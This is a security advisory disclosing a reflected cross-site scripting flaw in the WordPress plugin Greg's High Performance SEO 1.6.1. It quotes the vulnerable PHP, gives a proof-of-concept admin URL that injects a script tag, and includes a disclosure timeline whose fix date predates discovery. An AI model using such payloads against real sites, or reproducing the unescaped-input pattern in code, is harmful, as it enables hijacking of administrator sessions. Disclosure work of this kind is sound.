04-05-2015 / Vulnerabilities

Greg's High Performance SEO 1.6.1 Reflected XSS

$_GET['submenu'] is not escaped.

File: gregs-high-performance-seo\ghpseo-options-functions.php

function __construct($args) {
	// I skip unnecessary lines
	$root = WP_PLUGIN_DIR . '/' . $dir . $subdir; // this is where we're looking for our options files
	$sub = isset ($_GET['submenu']) ? $_GET['submenu'] : '';
	$filetail = ($sub != '') ? "-$sub" : ''; // options file corresponding to this submenu
	$this->submenu = $sub;
	$this->box_hook .= $sub; // need to keep track of box states for each separate sub-page
} // end constructor
function postbox_js() {
	$page = $this->box_hook;
	// note the line about closing postboxes that should be closed no longer seems to be needed
	$js = "
		<script type='text/javascript'>
			//<![CDATA[
			jQuery(document).ready( function($) {
				// close postboxes that should be closed
				$('.if-js-closed').removeClass('if-js-closed').addClass('closed');
				// postboxes setup
				postboxes.add_postbox_toggles('{$page}');
			});
			//]]>
		</script>
		";
	echo $js;
	return;
}

Proof of Concept

XSS will be visible for admin:

http://wordpress-url/wp-admin/options-general.php?page=gregs-high-performance-seo/ghpseo-options.php&submenu=</script><script>alert(String.fromCharCode(88,83,83));</script>

Timeline

  • 09-01-2015: Discovered
  • 09-01-2015: Vendor notified
  • 10-01-2014: Version 1.6.2 released, issue resolved